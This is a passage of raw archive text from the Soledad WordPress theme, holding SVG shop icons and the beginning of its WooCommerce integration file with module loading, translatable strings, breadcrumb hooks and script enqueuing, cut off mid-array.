    <path d="m256 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
    <path d="m7 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
    <path d="m256 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
</svg>
PK     N\K$  $  '  inc/woocommerce/svg/penci-shop-icon.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
    <symbol id="shopping-bag" viewBox="0 0 512 512">
        <title>shopping-bag</title>
        <path d="m452 120h-60.946c-7.945-67.478-65.477-120-135.054-120s-127.109 52.522-135.054 120h-60.946c-11.046 0-20 8.954-20 20v352c0 11.046 8.954 20 20 20h392c11.046 0 20-8.954 20-20v-352c0-11.046-8.954-20-20-20zm-196-80c47.484 0 87.019 34.655 94.659 80h-189.318c7.64-45.345 47.175-80 94.659-80zm176 432h-352v-312h40v60c0 11.046 8.954 20 20 20s20-8.954 20-20v-60h192v60c0 11.046 8.954 20 20 20s20-8.954 20-20v-60h40z"/>
    </symbol>
    <symbol id="heart" viewBox="0 0 512 512">
        <title>heart</title>
        <path d="M374,39.221c-42.59,0-79.926,18.991-107.971,54.921c-3.74,4.792-7.074,9.586-10.029,14.229 c-2.955-4.644-6.289-9.437-10.029-14.229C217.926,58.212,180.59,39.221,138,39.221c-80.456,0-138,67.367-138,148.204 c0,92.433,75.757,179.547,245.637,282.46c3.185,1.929,6.774,2.894,10.363,2.894s7.178-0.964,10.363-2.893 C436.243,366.973,512,279.859,512,187.426C512,106.631,454.503,39.221,374,39.221z M419.157,302.52 C383.79,341.982,330.345,383.534,256,429.343c-74.345-45.809-127.79-87.361-163.157-126.822C57.285,262.845,40,225.197,40,187.426 c0-58.204,39.334-108.205,98-108.205c29.876,0,55.35,12.99,75.715,38.61c16.284,20.489,23.145,41.646,23.193,41.797 c2.605,8.355,10.341,14.046,19.093,14.046c8.752,0,16.488-5.69,19.093-14.046c0.063-0.202,6.718-20.699,22.467-40.875 C318.036,92.521,343.754,79.22,374,79.22c58.728,0,98,50.049,98,108.205C472,225.196,454.715,262.844,419.157,302.52z"/>
    </symbol>
    <symbol id="shuffle" viewBox="0 0 512 512">
        <title>shuffle</title>
        <path d="M507.734,418.093c0.227-0.303,0.462-0.6,0.673-0.915c0.203-0.304,0.379-0.619,0.565-0.931 c0.171-0.286,0.35-0.565,0.507-0.859c0.17-0.318,0.314-0.645,0.467-0.97c0.145-0.306,0.298-0.608,0.428-0.922 c0.13-0.315,0.236-0.637,0.35-0.957c0.121-0.337,0.25-0.669,0.354-1.013c0.097-0.32,0.168-0.646,0.249-0.969 c0.089-0.351,0.187-0.698,0.258-1.055c0.074-0.375,0.118-0.753,0.173-1.13c0.044-0.311,0.104-0.617,0.135-0.932 c0.138-1.4,0.138-2.811,0-4.211c-0.031-0.316-0.09-0.622-0.135-0.933c-0.054-0.377-0.098-0.755-0.172-1.13 c-0.071-0.358-0.169-0.705-0.258-1.056c-0.081-0.323-0.152-0.648-0.249-0.968c-0.104-0.345-0.234-0.677-0.355-1.014 c-0.115-0.32-0.22-0.642-0.35-0.957c-0.13-0.314-0.283-0.615-0.428-0.921c-0.153-0.325-0.297-0.653-0.468-0.971 c-0.157-0.293-0.336-0.572-0.506-0.857c-0.186-0.312-0.363-0.628-0.566-0.932c-0.211-0.315-0.445-0.611-0.671-0.913 c-0.191-0.255-0.368-0.516-0.571-0.764c-0.439-0.535-0.903-1.05-1.392-1.54c-0.007-0.008-0.014-0.016-0.021-0.023l-64-64 c-8.331-8.331-21.839-8.331-30.17,0c-8.331,8.331-8.331,21.839,0,30.17L439.164,384h-76.497c-70.693,0-128-57.307-128-128 s57.307-128,128-128h76.497l-27.582,27.582c-8.331,8.331-8.331,21.839,0,30.17c8.331,8.331,21.839,8.331,30.17,0l64-64 c0.004-0.004,0.007-0.008,0.011-0.012c0.492-0.493,0.959-1.012,1.402-1.551c0.203-0.247,0.379-0.507,0.568-0.76 c0.227-0.304,0.463-0.601,0.674-0.917c0.203-0.303,0.379-0.618,0.565-0.93c0.171-0.286,0.35-0.565,0.508-0.86 c0.17-0.318,0.314-0.645,0.467-0.969c0.145-0.307,0.298-0.609,0.428-0.923c0.13-0.315,0.235-0.636,0.35-0.956 c0.121-0.337,0.25-0.67,0.355-1.015c0.097-0.32,0.168-0.645,0.249-0.968c0.089-0.351,0.187-0.698,0.258-1.056 c0.074-0.375,0.118-0.753,0.172-1.13c0.044-0.311,0.104-0.618,0.135-0.933c0.138-1.4,0.138-2.811,0-4.211 c-0.031-0.315-0.09-0.621-0.135-0.932c-0.054-0.378-0.098-0.756-0.173-1.13c-0.071-0.358-0.169-0.704-0.258-1.055 c-0.081-0.324-0.152-0.649-0.249-0.969c-0.104-0.344-0.233-0.677-0.354-1.013c-0.115-0.32-0.22-0.642-0.35-0.957 c-0.13-0.314-0.283-0.616-0.428-0.922c-0.153-0.325-0.297-0.652-0.467-0.97c-0.157-0.294-0.337-0.573-0.507-0.859 c-0.186-0.312-0.362-0.627-0.565-0.931c-0.211-0.315-0.446-0.612-0.673-0.915c-0.19-0.254-0.367-0.515-0.57-0.762 c-0.443-0.539-0.909-1.058-1.402-1.551c-0.004-0.004-0.007-0.008-0.011-0.012l-64-64c-8.331-8.331-21.839-8.331-30.17,0 c-8.331,8.331-8.331,21.839,0,30.17l27.582,27.582h-76.497c-64.264,0-120.222,35.525-149.333,88.002 C184.222,120.858,128.264,85.333,64,85.333H21.333C9.551,85.333,0,94.885,0,106.667C0,118.449,9.551,128,21.333,128H64 c70.693,0,128,57.307,128,128S134.693,384,64,384H21.333C9.551,384,0,393.551,0,405.333c0,11.782,9.551,21.333,21.333,21.333H64 c64.264,0,120.222-35.525,149.333-88.002c29.111,52.477,85.069,88.002,149.333,88.002h76.497l-27.582,27.582 c-8.331,8.331-8.331,21.839,0,30.17c8.331,8.331,21.839,8.331,30.17,0l64-64c0.004-0.004,0.007-0.008,0.011-0.012 c0.492-0.493,0.959-1.012,1.402-1.551C507.368,418.608,507.544,418.347,507.734,418.093z"/>
    </symbol>
    <symbol id="loupe" viewBox="0 0 512 512">
        <title>loupe</title>
        <g>
            <g>
                <path d="M225.474,0C101.151,0,0,101.151,0,225.474c0,124.33,101.151,225.474,225.474,225.474 c124.33,0,225.474-101.144,225.474-225.474C450.948,101.151,349.804,0,225.474,0z M225.474,409.323 c-101.373,0-183.848-82.475-183.848-183.848S124.101,41.626,225.474,41.626s183.848,82.475,183.848,183.848 S326.847,409.323,225.474,409.323z"/>
            </g>
        </g>
        <g>
            <g>
                <path d="M505.902,476.472L386.574,357.144c-8.131-8.131-21.299-8.131-29.43,0c-8.131,8.124-8.131,21.306,0,29.43l119.328,119.328 c4.065,4.065,9.387,6.098,14.715,6.098c5.321,0,10.649-2.033,14.715-6.098C514.033,497.778,514.033,484.596,505.902,476.472z"/>
            </g>
        </g>
    </symbol>
</svg>
PK     N\A" "   inc/woocommerce/woocommerce.phpnu [        <?php
/**
 * ------------------------------------------------------------------------------------------------
 * Load extra WooCommerce Library
 * ------------------------------------------------------------------------------------------------
 */

$penci_modules = array(
	'quick_view'   => ! penci_is_mobile() ? get_theme_mod( 'penci_woocommerce_quickview', true ) : false,
	'wishlist'     => get_theme_mod( 'penci_woocommerce_wishlist', false ),
	'compare'      => get_theme_mod( 'penci_woocommerce_compare', false ),
	'metaboxes'    => true,
	'progress-bar' => true,
	'quickshop'    => get_theme_mod( 'penci_woocommerce_product_quick_shop', false ),
	'swatches'     => true,
	'brand'        => true,
	'misc'         => true,
);

foreach ( $penci_modules as $module => $enable ) {
	if ( $enable ) {
		require PENCI_SOLEDAD_DIR . '/inc/woocommerce/modules/' . $module . '.php';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce Widget
 * ------------------------------------------------------------------------------------------------
 */

require PENCI_SOLEDAD_DIR . '/inc/widgets/wph-widget-class.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_filter.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/price_filter.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_sorting.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_stock_status.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_lists.php';

/**
 * Declare WooCommerce support
 *
 * @since 2.2
 */
add_filter( 'woocommerce_enqueue_styles', 'penci_woo_dequeue_styles' );
function penci_woo_dequeue_styles( $enqueue_styles ) {
	unset( $enqueue_styles['woocommerce-general'] );    // Remove the gloss.
	unset( $enqueue_styles['woocommerce-layout'] );        // Remove the layout.

	return $enqueue_styles;
}

if ( ! function_exists( 'penci_declare_woocommerce_support' ) ) {
	add_action( 'after_setup_theme', 'penci_declare_woocommerce_support' );
	function penci_declare_woocommerce_support() {

		add_theme_support( 'woocommerce' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		remove_theme_support( 'wc-product-gallery-slider' );
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-slider' );

		// Register navigation menu.
		register_nav_menus( array(
			'vertical-shop-menu' => 'eCommerce Vertical Menu',
			'sidebar-filter'     => 'Sidebar Filter',
		) );

		// Register sidebar.
		register_sidebar( array(
			'name'          => esc_html__( 'Sidebar Filter', 'soledad' ),
			'id'            => 'sidebar-filter',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">',
			'after_title'   => '</span></h3>',
		) );
	}
}
add_action( 'wp', 'penci_woo_remove_zoom_images', 100 );
function penci_woo_remove_zoom_images() {
	if ( get_theme_mod( 'penci_woo_disable_zoom' ) ) {
		remove_theme_support( 'wc-product-gallery-zoom' );
	}
}

function penci_woo_get_translate_text() {
	return array(
		'penci_woo_trans_about_brand'           => __( 'About brand', 'soledad' ),
		'penci_woo_trans_about_variable'        => __( 'About %s', 'soledad' ),
		'penci_woo_trans_addtocompare'          => __( 'Add to Compare', 'soledad' ),
		'penci_woo_trans_viewallcompare'        => __( 'View all Compare', 'soledad' ),
		'penci_woo_trans_returnshop'            => __( 'Return to shop', 'soledad' ),
		'penci_woo_trans_desc'                  => __( 'Description', 'soledad' ),
		'penci_woo_trans_demensions'            => __( 'Dimensions', 'soledad' ),
		'penci_woo_trans_weight'                => __( 'Weight', 'soledad' ),
		'penci_woo_trans_availability'          => __( 'Availability', 'soledad' ),
		'penci_woo_trans_sku'                   => __( 'Sku', 'soledad' ),
		'penci_woo_trans_instock'               => __( 'In stock', 'soledad' ),
		'penci_woo_trans_remove_product'        => __( 'Remove product', 'soledad' ),
		'penci_woo_trans_remove'                => __( 'Remove', 'soledad' ),
		'penci_woo_trans_sale'                  => __( 'Sale', 'soledad' ),
		'penci_woo_trans_sold_out'              => __( 'Sold out', 'soledad' ),
		'penci_woo_trans_hot'                   => __( 'Hot', 'soledad' ),
		'penci_woo_trans_new'                   => __( 'New', 'soledad' ),
		'penci_woo_trans_show'                  => __( 'Show', 'soledad' ),
		'penci_woo_trans_all'                   => __( 'All', 'soledad' ),
		'penci_woo_trans_lgtspr'                => __( 'Login to see prices', 'soledad' ),
		'penci_woo_trans_fasort'                => __( 'Filter & Sort', 'soledad' ),
		'penci_woo_trans_innumbeistock'         => __( 'Initial number in stock', 'soledad' ),
		'penci_woo_trans_rqinnumbeistock'       => __( 'Required for stock progress bar option', 'soledad' ),
		'penci_woo_trans_quickview'             => __( 'Quick view', 'soledad' ),
		'penci_woo_trans_close'                 => __( 'Close', 'soledad' ),
		'penci_woo_trans_color'                 => __( 'Color', 'soledad' ),
		'penci_woo_trans_image'                 => __( 'Image', 'soledad' ),
		'penci_woo_trans_label'                 => __( 'Label', 'soledad' ),
		'penci_woo_trans_canimage'              => __( 'Choose an image', 'soledad' ),
		'penci_woo_trans_usimage'               => __( 'Use image', 'soledad' ),
		'penci_woo_trans_upaddimg'              => __( 'Upload/Add Image', 'soledad' ),
		'penci_woo_trans_rimg'                  => __( 'Remove image', 'soledad' ),
		'penci_woo_trans_adtwilsh'              => __( 'Add to Wishlist', 'soledad' ),
		'penci_woo_trans_brtwilsh'              => __( 'Browse Wishlist', 'soledad' ),
		'penci_woo_trans_successrmwilish'       => __( 'The product %s has successfully removed.', 'soledad' ),
		'penci_woo_trans_rmproduct'             => __( 'Remove Product', 'soledad' ),
		'penci_woo_trans_ffallpfuv'             => __( 'Feed for all posts filed under %s', 'soledad' ),
		'penci_woo_trans_vtspcart'              => __( 'View your shopping cart', 'soledad' ),
		'penci_woo_trans_loading'               => __( 'Loading...', 'soledad' ),
		'penci_woo_trans_eoc'                   => __( 'End of content', 'soledad' ),
		'penci_woo_trans_nmptl'                 => __( 'No more pages to load', 'soledad' ),
		'penci_woo_trans_vmproduct'             => __( 'View more products', 'soledad' ),
		'penci_woo_trans_products'              => __( 'products', 'soledad' ),
		'penci_woo_trans_noproductfount'        => __( 'No product found', 'soledad' ),
		'penci_woo_trans_shoppingcart'          => __( 'Shopping cart', 'soledad' ),
		'penci_woo_trans_checkout'              => __( 'Checkout', 'soledad' ),
		'penci_woo_trans_ordrcompleted'         => __( 'Order complete', 'soledad' ),
		'penci_woo_trans_npostfound'            => __( 'No posts found', 'soledad' ),
		'penci_woo_trans_allrs'                 => __( 'All results', 'soledad' ),
		'penci_woo_trans_cpproduct'             => __( 'Compare Products', 'soledad' ),
		'penci_woo_trans_day'                   => __( 'Day', 'soledad' ),
		'penci_woo_trans_hours'                 => __( 'Hours', 'soledad' ),
		'penci_woo_trans_second'                => __( 'Seconds', 'soledad' ),
		'penci_woo_trans_minutes'               => __( 'Minutes', 'soledad' ),
		'penci_woo_trans_vcart'                 => __( 'View Cart', 'soledad' ),
		'penci_woo_trans_checkout_text'         => __( 'Check out', 'soledad' ),
		'penci_woo_trans_addtocart'             => __( 'has been added to your cart', 'soledad' ),
		'penci_woo_trans_addtocompare_notice'   => __( 'has been added to compare', 'soledad' ),
		'penci_woo_trans_removecompare'         => __( 'has been removed from compare', 'soledad' ),
		'penci_woo_trans_removewishlist'        => __( 'has been removed from your wishlist', 'soledad' ),
		'penci_woo_trans_addwishlist'           => __( 'has been added to your wishlist', 'soledad' ),
		'penci_woo_trans_viewcart'              => __( 'View your shopping cart', 'soledad' ),
		'penci_woo_trans_productfilter'         => __( 'Product Filter', 'soledad' ),
		'penci_woo_trans_shopppingcart'         => __( 'Shopping Cart', 'soledad' ),
		'penci_woo_trans_viewcompare'           => __( 'View your compare products', 'soledad' ),
		'penci_woo_trans_viewwishlist'          => __( 'View your wishlist products', 'soledad' ),
		'penci_woo_trans_relatedproduct'        => __( 'Related products', 'soledad' ),
		'penci_woo_trans_upsell_title'          => __( 'You may also like&hellip;', 'soledad' ),
		'penci_woo_trans_compare_empty_title'   => __( 'Compare list is empty.', 'soledad' ),
		'penci_woo_trans_wishlist_empty_title'  => __( 'Wishlist is empty.', 'soledad' ),
		'penci_woocommerce_wishlist_empty_text' => __( 'You don\'t have any products in the wishlist yet. <br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woocommerce_compare_empty_text'  => __( 'No products added in the compare list. You must add some products to compare them.<br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woo_cart_empty_title'            => __( 'Your cart is currently empty.', 'soledad' ),
		'penci_woo_cart_empty_textarea'         => __( 'You don\'t have any products in the shop yet. <br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woo_trans_sidebar_filter'        => __( 'Sidebar Filter', 'soledad' ),
		'penci_woo_trans_compare_product'       => __( 'Product', 'soledad' ),
		'penci_woo_trans_blog_search_result'    => __( 'Search Results from Blog', 'soledad' ),
		'penci_woo_trans_showmore_result'       => __( 'Show More Result', 'soledad' ),
		'penci_woo_trans_ordered'               => __( 'Ordered:', 'soledad' ),
		'penci_woo_trans_items_avail'           => __( 'Items available:', 'soledad' ),
		'penci_woo_trans_sold'                  => __( 'Sold', 'soledad' ),
		'penci_woo_trans_text_about'            => __( 'About', 'soledad' ),
	);
}

function penci_woo_translate_text( $text ) {
	$translate_text = penci_woo_get_translate_text();

	$default_translate = isset( $translate_text[ $text ] ) ? $translate_text[ $text ] : '';

	return do_shortcode( get_theme_mod( $text, $default_translate ) );
}

/**
 * Update cart total when products are added to the cart
 *
 * @since 2.2.4
 */
if ( ! function_exists( 'penci_woocommerce_header_add_to_cart_fragment' ) ) {
	add_filter( 'woocommerce_add_to_cart_fragments', 'penci_woocommerce_header_add_to_cart_fragment' );
	function penci_woocommerce_header_add_to_cart_fragment( $fragments ) {
		ob_start();
		?>
        <a class="cart-contents" href="
		<?php
		$cart_link = function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : WC()->cart->get_cart_url();
		echo esc_url( $cart_link );
		?>
		   "
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcart' ); ?>">
            <i class="penciicon-shopping-cart"></i>
            <span><?php echo sprintf( _n( '%d', '%d', WC()->cart->get_cart_contents_count() ), WC()->cart->get_cart_contents_count() ); ?></span></a>
		<?php

		$fragments['.shoping-cart-icon a.cart-contents'] = ob_get_clean();

		return $fragments;
	}
}

/**
 * Change breadcrum markup for woocommerce
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_woocommerce_breadcrumbs' ) ) {
	add_filter( 'woocommerce_breadcrumb_defaults', 'penci_custom_woocommerce_breadcrumbs' );
	function penci_custom_woocommerce_breadcrumbs() {
		$home  = penci_get_setting( 'penci_trans_home' );
		$class = get_theme_mod( 'penci_single_product_breadcrumb_position', 'top' );

		return array(
			'delimiter'   => penci_icon_by_ver( 'fas fa-angle-right' ),
			'wrap_before' => '<div class="container penci-breadcrumb penci-woo-breadcrumb ' . esc_attr( $class ) . '">',
			'wrap_after'  => '</div>',
			'before'      => '<span>',
			'after'       => '</span>',
			'home'        => $home,
		);
	}
}

/**
 * Helper function
 *
 * @since 1.0
 */

if ( ! function_exists( 'penci_is_product_attribute_archive' ) ) {
	function penci_is_product_attribute_archive() {
		$queried_object = get_queried_object();
		if ( $queried_object && property_exists( $queried_object, 'taxonomy' ) ) {
			$taxonomy = $queried_object->taxonomy;

			return substr( $taxonomy, 0, 3 ) === 'pa_';
		}

		return false;
	}
}

if ( ! function_exists( 'penci_is_shop_archive' ) ) {
	function penci_is_shop_archive() {
		return ( is_shop() || is_product_category() || is_product_tag() || is_singular( 'product' ) || penci_is_product_attribute_archive() );
	}
}

if ( ! function_exists( 'penci_is_shop_catelog' ) ) {
	function penci_is_shop_catelog() {
		return ( is_shop() || is_product_category() || is_product_tag() || penci_is_product_attribute_archive() );
	}
}


/**
 * Custom numbers related products for Woocommerce
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_number_related_products_args' ) ) {
	add_filter( 'woocommerce_output_related_products_args', 'penci_custom_number_related_products_args' );
	function penci_custom_number_related_products_args( $args ) {
		$number = 4;
		if ( get_theme_mod( 'penci_woo_number_related_products' ) ) :
			$number = absint( get_theme_mod( 'penci_woo_number_related_products' ) );
		endif;

		$args['posts_per_page'] = $number; // 4 related products

		return $args;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Filter & action
 * ------------------------------------------------------------------------------------------------
 */

remove_action( 'woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10 );
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5 );

remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );

add_filter( 'woocommerce_show_page_title', function () {
	return false;
} );

remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display' );
add_action( 'woocommerce_after_cart', 'woocommerce_cross_sell_display' );

if ( ! function_exists( 'penci_template_loop_product_title' ) ) {

	/**
	 * Show the product title in the product loop. By default this is an H2.
	 */
	function penci_template_loop_product_title() {

		$length = wc_get_loop_prop( 'title-length' );
		$title  = get_the_title();

		if ( $length ) {
			$title = wp_trim_words( $title, $length );
		}

		echo '<h3 class="' . esc_attr( apply_filters( 'woocommerce_product_loop_title_classes', 'woocommerce-loop-product__title penci-loop-title' ) ) . '"><a href="' . get_permalink() . '">' . $title . '</a></h3>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	}

	remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 );
	add_action( 'woocommerce_shop_loop_item_title', 'penci_template_loop_product_title', 10 );
}

add_action( 'woocommerce_archive_description', 'penci_woocommerce_before_main_content' );
function penci_woocommerce_before_main_content() {
	?>
    <div class="penci-woo-before-main-content">
        <div class="penci-woo-before-main-inner-content content-left">
			<?php
			do_action( 'penci_woocommerce_before_main_shop_content_left' );
			if ( ! get_theme_mod( 'penci_archive_move_desc' ) ) {
				?>
                <div class="post-entry pc-proterm-description">
					<?php do_action( 'penci_woocommerce_before_main_shop_content_desc' ); ?>
                </div>
			<?php } ?>
        </div>
        <div class="penci-woo-before-main-inner-content content-right">
			<?php do_action( 'penci_woocommerce_before_main_shop_content_right' ); ?>
        </div>
    </div>
	<?php
}

add_action( 'woocommerce_after_shop_loop', function () {
	if ( get_theme_mod( 'penci_archive_move_desc' ) ) {
		?>
        <div class="post-entry pc-proterm-description pc-proterm-description-bottom">
			<?php do_action( 'penci_woocommerce_before_main_shop_content_desc' ); ?>
        </div>
		<?php
	}
}, 20 );

remove_action( 'woocommerce_archive_description', 'woocommerce_taxonomy_archive_description' );
remove_action( 'woocommerce_archive_description', 'woocommerce_product_archive_description' );

add_action( 'penci_woocommerce_before_main_shop_content_desc', 'woocommerce_taxonomy_archive_description', 99 );
add_action( 'penci_woocommerce_before_main_shop_content_desc', 'woocommerce_product_archive_description', 99 );

remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
add_action( 'penci_woocommerce_before_main_shop_content_right', 'woocommerce_catalog_ordering', 10 );

add_action( 'init', 'penci_woo_page_header_setup' );
add_action( 'woocommerce_before_single_product', 'penci_woo_page_header_setup' );
function penci_woo_page_header_setup() {

	$single_product_breadcrumb = get_theme_mod( 'penci_single_product_breadcrumb_position', 'top' );

	if ( ! is_product() ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		add_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_breadcrumb', 30 );
	}

	if ( is_product() && 'top' === $single_product_breadcrumb ) {
		add_action( 'woocommerce_before_single_product', 'woocommerce_breadcrumb', 20 );
	}

	if ( is_product() && 'summary' === $single_product_breadcrumb ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		add_action( 'woocommerce_single_product_summary', 'woocommerce_breadcrumb', 0 );
	}

	if ( is_product() && 'hidden' === $single_product_breadcrumb ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
	}

	if ( get_theme_mod( 'penci_woo_disable_breadcrumb', false ) ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		remove_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_breadcrumb', 30 );
	}

	if ( penci_is_mobile() || penci_is_tablet() ) {
		add_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_result_count', 50 );
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add custom style
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_woocommerc_custom_style' ) ) {
	function penci_woocommerc_custom_style() {

		$quick_view_width = get_theme_mod( 'penci_woocommerce_quickview_width', 960 );

		$css_elements = '--pc-woo-quick-view-width: ' . $quick_view_width . 'px;';

		return ':root{' . $css_elements . '}';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add Style
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_woocommerce_style' ) ) {
	function penci_woocommerce_style() {

		wp_enqueue_style( 'woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/build/woocommerce.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_style( 'woocommerce-layout', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/build/woocommerce-layout.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_style( 'penci-woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-woocomerce.css', array(), PENCI_SOLEDAD_VERSION );

		wp_enqueue_script( 'popper', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/popper.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'tooltip', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/tippy-bundle.umd.min.js', array( 'popper' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'jquery.autocomplete', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery.autocomplete.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/penci-woocommerce.js', array( 'jquery.pjax' ), PENCI_SOLEDAD_VERSION, true );

		wp_register_script( 'infinite-scroll', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/infinite-scroll.pkgd.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'woo-countdown', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery.countdown-pack.min.js', array(), PENCI_SOLEDAD_VERSION, true );

		if ( get_theme_mod( 'penci_woo_notify', false ) ) {
			wp_enqueue_style( 'jquery.toast' );
			wp_enqueue_script( 'jquery.toast' );
		}

		if ( 'pagination' !== get_theme_mod( 'penci_shop_product_pagination', 'pagination' ) ) {
			wp_enqueue_script( 'infinite-scroll' );
		}

		wp_enqueue_script( 'wc-add-to-cart-variation' );
		wp_deregister_script( 'wc-single-product' );
		wp_register_script( 'wc-single-product', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/single-product.js', array(), PENCI_SOLEDAD_VERSION, true );

		wp_register_script( 'grid-picker', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery-grid-picker.js', array(), PENCI_SOLEDAD_VERSION, true );

		wp_add_inline_style( 'penci-woocommerce', penci_woocommerc_custom_style() );

		if ( get_theme_mod( 'pencidesign_woo_single_select2button', true ) ) {
			wp_enqueue_script( 'grid-picker' );
		}

		if ( is_rtl() ) {
			wp_enqueue_style( 'penci-woocommerce-rtl', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-woocommerce-rtl.css', array(), PENCI_SOLEDAD_VERSION );
		}

		wp_localize_script( 'penci-woocommerce', 'penciwoo', array(
			'ajaxUrl'                       => admin_url( 'admin-ajax.php' ),
			'nonce'                         => wp_create_nonce( 'ajax-nonce' ),
			'shoppage'                      => get_permalink( wc_get_page_id( 'shop' ) ),
			'checkout_url'                  => get_permalink( wc_get_page_id( 'checkout' ) ),
			'checkout_text'                 => penci_woo_translate_text( 'penci_woo_trans_checkout_text' ),
			'addtocart_jax'                 => get_theme_mod( 'penci_single_product_disable_ajax_atc', false ),
			'addtocart'                     => penci_woo_translate_text( 'penci_woo_trans_addtocart' ),
			'addtocompare'                  => penci_woo_translate_text( 'penci_woo_trans_addtocompare_notice' ),
			'removecompare'                 => penci_woo_translate_text( 'penci_woo_trans_removecompare' ),
			'removewishlist'                => penci_woo_translate_text( 'penci_woo_trans_removewishlist' ),
			'addwishlist'                   => penci_woo_translate_text( 'penci_woo_trans_addwishlist' ),
			'browsewishlist'                => penci_woo_translate_text( 'penci_woo_trans_brtwilsh' ),
			'browsecompare'                 => penci_woo_translate_text( 'penci_woo_trans_cpproduct' ),
			'returnshop'                    => penci_woo_translate_text( 'penci_woo_trans_returnshop' ),
			'allresults'                    => penci_woo_translate_text( 'penci_woo_trans_allrs' ),
			'relateproduct'                 => (int) get_theme_mod( 'penci_shop_product_related_columns', 4 ),
			'upsellproduct'                 => (int) get_theme_mod( 'penci_shop_product_up_sell_columns', 4 ),
			'crosssellproduct'              => (int) get_theme_mod( 'penci_shop_product_cross_sell_columns', 4 ),
			'catcolumns'                    => (int) get_theme_mod( 'penci_shop_cat_columns', 4 ),
			'cartstyle'                     => get_theme_mod( 'penci_woo_cart_style', 'side-right' ),
			'quickshop'                     => (int) get_theme_mod( 'penci_woocommerce_product_quick_shop', false ),
			'cartnotify'                    => (int) get_theme_mod( 'penci_woo_add_to_cart_notify', false ),
			'pagination'                    => get_theme_mod( 'penci_shop_product_pagination', 'pagination' ),
			'ajaxshop'                      => (int) get_theme_mod( 'penci_woocommerce_ajax_shop', true ),
			'scrolltotopajax'               => (int) get_theme_mod( 'penci_woocommerce_ajax_shop_auto_top', true ),
			'pagination_ajax_threshold'     => get_theme_mod( 'penci_shop_product_pagination_ajax_threshold', 400 ),
			'pagination_ajax_history'       => (int) get_theme_mod( 'penci_shop_product_pagination_ajax_history', false ),
			'pagination_ajax_title'         => (int) get_theme_mod( 'penci_shop_product_pagination_ajax_title', false ),
			'select2button'                 => (int) get_theme_mod( 'pencidesign_woo_single_select2button', true ),
			'wishlist_empty_heading'        => penci_woo_translate_text( 'penci_woo_trans_wishlist_empty_title' ),
			'wishlist_empty_text'           => penci_woo_translate_text( 'penci_woocommerce_wishlist_empty_text' ),
			'compare_empty_heading'         => penci_woo_translate_text( 'penci_woo_trans_compare_empty_title' ),
			'compare_empty_text'            => penci_woo_translate_text( 'penci_woocommerce_compare_empty_text' ),
